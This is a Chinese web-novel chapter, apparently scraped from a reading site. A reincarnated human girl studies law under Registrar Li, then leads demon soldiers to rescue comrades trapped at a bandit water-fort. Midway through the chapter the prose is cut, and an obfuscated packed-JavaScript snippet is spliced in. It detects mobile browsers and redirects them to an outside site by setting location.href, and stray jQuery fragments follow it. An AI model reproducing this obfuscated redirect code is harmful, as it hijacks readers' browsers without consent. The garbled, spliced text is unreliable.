默认冷灰
24号文字
方正启体

6. 无法

作者:河砂本书字数:K更新时间:
    李主簿这顿饭吃得心不在焉,祁访枫吃嘛嘛香。


    李主簿看了眼无忧无虑的小饭桶,默默把惯例的一小碟肉又推给她。


    祁访枫警觉抬头,怎么无事献殷勤?


    李主簿放轻了声音,哄小孩似的说:“我最近胃口不好,你吃了吧,别浪费。”


    祁访枫纠结地看了看烤肉,实在挡不住诱惑,快乐地把涂了酱料的烤肉塞进嘴里。眼看她吃得开心,李主簿心里的郁闷也散了点,多少把饭吃下去了。


    吃饱喝足的小饭桶趴在桌上,打个饱嗝。


    李主簿看了她一眼,没说什么,继续处理文书。


    最近将士们出营剿匪,有人牺牲,需要发放抚恤、补充兵源、调整分配物资……


    祁访枫缓缓蠕动起来,突然意识到了什么,大惊失色。


    不好!和老板聊多了,放松警惕了!她可不是那种吉祥物关系户,不干活可是会被炒鱿鱼的!


    李主簿就看着她突然卷了起来。


    李主簿:“……”智慧,但不是很聪明。


    女妖无奈地摇摇头,继续伏案工作。


    接下来的日子里,祁访枫准时准点去军营点卯打卡。但她敏锐地发现,自己的工作量变多了。


    除了日常打杂,李主簿开始给她塞各种各个诸侯国的法典,看完你的看你的,主打一个都不白来。


    看完法典还要背,李主簿会抽查。


    背完法典还要当大法官判案,李主簿会点评。


    没过多久,小打小闹的纠纷就从她的案头消失了,各种猎奇诡异突破想象力的案子就这么端了上来。


    祁访枫:?


    一开始,祁访枫还看得挺新鲜,但看多了难免觉得辣眼睛。


    自然而然地,祁访枫判案也怠惰了许多,一度作出死刑死刑全部死刑的判决,被李主簿劈头盖脸骂了一顿。


    祁访枫看着那对比公文还厚的法典,原地开摆。


    “反正不管您怎么说!我都不会再看了!”祁访枫大叫。


    可恶啊,她已经背了九本《x律疏议》了!她当初背考试知识点都没有这么辛苦,要不是李环是她老板,祁访枫早就逃课了!


    上班还要上学,骇死人了!


    劝人学法,千刀万剐!


    李主簿:“再背一章,中午给你加餐。”


    祁访枫立正了,嘿嘿一笑:“您看这事闹的,我可太喜欢看法典了!”


    人在屋檐下,不得不低头。为了午餐,忍!


    李主簿看着那个托下巴翻书的半大孩子,好气又好笑。


    不熟的时候看着呆傻木讷,三杆子打不出一句话,混熟了立刻蹬鼻子上脸,都敢跟她撒泼打滚了。


    也好,瞧着有精神多了。李主簿想。


    这天上午,一切都好,中午祁访枫如愿以偿被加了餐,是一盘小酥鱼。


    下午时,祁访枫走出军帐,去帮李主簿换碳。抬眼一看,天色泛起了不安的红。那红色似乎又与平日无差,只是祁访枫多心了。


    夕阳的红色愈演愈烈,秋高云淡,冷而干的气息迎面吹来。


    祁访枫的不安愈演愈烈,她抿了抿唇,把飞快回到军帐里:“李主簿!库房在哪?我支一把环首刀!”


    李主簿愣住,下意识就要皱眉。


    这话说得不妥,李环想要呵斥,可看着孩子焦急的神色,她又换了词句:“……怎么了?你要刀干什么?”


    祁访枫正要说话,背后忽而传来哭叫声。


    一个不那么瘦了的芦柴棒连滚带爬地跑进营地,满脸惊恐的泪痕。


    留守的士兵呵止住她问话,芦柴棒什么也说不出来,只是恐惧地哭叫。


    祁访枫立刻跑上前,拉住了芦柴棒乱挥的手,沉声道:“发生什么事了?冷静!看着我,是我!”


    同为棚屋出身的面孔让芦柴棒冷静些许,她看着祁访枫,那张瘦到极致,因而显得眼睛大又圆的脸皱起来,瞬间嚎啕大哭:“将军、他们被贼寇围住了!死了好多人,杀人,杀人了!”


    留守士兵脸色一变,焦急地钳住芦柴棒:“将军他们在哪!?”


    祁访枫反手抓住留守士兵的手腕:“注意力道!她会骨折的!”


    祁访枫掐得更用力,也不知道她那么瘦,那把力气哪来的,居然硬生生把士兵掐痛了,让士兵松开了钳着芦柴棒的手。


    士兵惊疑不定地看着她,祁访枫只看向芦柴棒:“禄生长官他们在哪?你不用去,告诉我就好!”


    “……在,在东南那片水寨里。”芦柴棒愣愣地看着她,怯怯道。


    祁访枫深吸一口气,把人护至身后,严肃对士兵说:“其他人带上兵器,找李主簿支点干粮,我们去水寨。再遣人去报信,这不是一般的流寇了,需要重拳出击!”


    祁访枫内心苦笑着给自己的幽默感鼓了鼓掌,危机时刻也在调节自己的心情,真厉害。


    士兵原本急得六神无主,祁访枫劈头盖脸一顿指令下来,王军的习惯让她下意识要遵从。可她又瞬间醒神,打量着祁访枫,面露犹豫。


    “跟她去!”李主簿走出军帐,神色严肃,脸色发白,“拿一把刀给她。花竹、文谷,你们帮忙发行装,我去上报,都别愣着!”


    ……她信她。祁访枫深深看了李主簿一眼,没说也来不及说什么,从拿来环首刀的花竹手里接下兵器。


    众人动了起来,祁访枫系好刀鞘,跟着士兵奔袭。


    她前世也算体能优越,但和这些专业的妖族相比只能勉强不掉队。祁访枫咬牙坚持,硬生生跟着队伍赶到了水寨边上。


    水寨边的厮杀正到白热化阶段,鲜血腥气刺鼻。


    祁访枫没看见她熟悉的禄生长官,到处都浮着死尸,还有不少芦柴棒的身影。


    几个士兵下意识要冲进去,祁访枫喝住她们:“都别动!水寨有箭楼!”


    那士兵猛回头,这才发现自己情急之下忽略了什么,她脸色不好,抿了抿唇,焦急道:“那你说怎么办?!”


    祁访枫咬牙,目光迅速搜索,说道:“你带人,绕到水寨西面,那个方向流寇少,你们从那杀进去!”


    士兵的身影很好认,他们面貌精神,身上披着皮甲,而流寇蓬头垢面,手上拿的武器良莠不齐。此时此刻,士兵被流寇未成了圈,不少人身上都插着箭矢,正在持续失血,战斗力严重下降,这才被流寇步步紧逼。


    西侧角落是箭楼的视觉死角,机会只有一次。


    只要能在流寇的包围中杀出一道口子,就能顺着西面的小道跑进密林。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437268|200977||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    箭楼,最麻烦的是那个箭楼!


    祁访枫语速飞快:“我混进去给他们制造点麻烦,如果成功了,你们抓紧时机!如果半柱香后还没有动静,那你们就强攻。”


    语毕,她不容拒绝地一马当先扎进水道,沉入混浊的水流,游向了水寨。


    士兵看不见她了,只能望着水寨上并不平静的水面,深吸一口气:“听李主簿的,跟她照做!”


    士兵们沉默地执行了命令,潜入西侧密林,朝贼寇们的包围缺口靠近。


    半柱香,刚好是他们潜行完毕后不久,就等一小会。


    祁访枫在水中潜游,仰头是没入水面的箭矢被水稀释了动能,正缓缓下沉,晕开一缕血色。泊在水面上船只像一叶叶浮萍,喊杀喊打混合着沉闷的挥刀破空声,在水下听来像一场光怪陆离的梦。


    视野中凝聚出一束束光柱,浮沉旋转着,水流扭曲了视野。


    她潜到水寨边缘,在水下仰望,找了个荫蔽角落上岸。


    深秋寒冷,湖水冰冷,祁访枫在不受控制地打颤,体温流失。她把手放上心口,鳞片又凝成黑雾,飘在她箭头。


    她是一个人类,与妖族相比瘦小虚弱,气息“明显”。


    戚同琴告诉过她,千万不要卸下她的神通。因为人类的气息轻而乱,妖族能轻松辨别,而人类如今是正炙手可热的“金贵物件”,三教九流的人都了解,也都想抓。


    三教九流,这是棚屋存在最多的人,所以戚同琴要她藏好。


    三教九流,水寨贼寇也算其中之一。


    祁访枫往不远处佃户生活的房屋靠近,发出了动静,吸引对方的警觉后又佯装脱力倒地。


    只能赌一把了。赌佃户们“有见识”,赌她运道好。


    那佃户听见了动静,又隐约看见人影,正要出门又畏惧于外头正乱着。她的姐妹说:“出去看看,好像是个人呢!浑身湿漉漉的,还晕了,看看吧,这么放着不是事啊!”


    佃户就定了定心神,小心往外走去。


    她看见了那个倒下的人,嗅了嗅对方近乎于无的气息,小心扒拉:“姑娘,你还好吗?”


    那个声音温和而沙哑,装晕的祁访枫一愣,却还是懵懂地起身。


    佃户警惕而担忧地看向她,目光渐渐不对了。这个孩子没有毛耳,没有颊窝,也没有尾巴,指甲平短。


    ……畸形儿?


    佃户犹豫一下,轻声说:“孩子,你怎么到这来了?”


    ……她不知道人类是什么。祁访枫心下一沉,确实是按计行事。


    浑身湿漉的孩子神态轻飘懵懂,没反应,不说话。


    佃户看着她,心下不忍,说道:“你跟我来!”


    祁访枫这下真愣了。她哪里看不出来佃户在想什么,可是,可是!偏偏是现在,偏偏是这样的情况!


    不等她多想,异变突生。


    “喂!”一个凶声呵道,“当家的不是让你们躲好吗!”


    佃户吓了一跳,连连后退。


    “还不快回去!一会被兵提了脑袋,谁也救你不得!”凶声的主人大步上前,喝退了佃农,又用大手拎起地上的祁访枫,抖搂两下:“浮尸冲上来了?”


    那人打量的眼神上移,却是一愣,又惊又疑。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)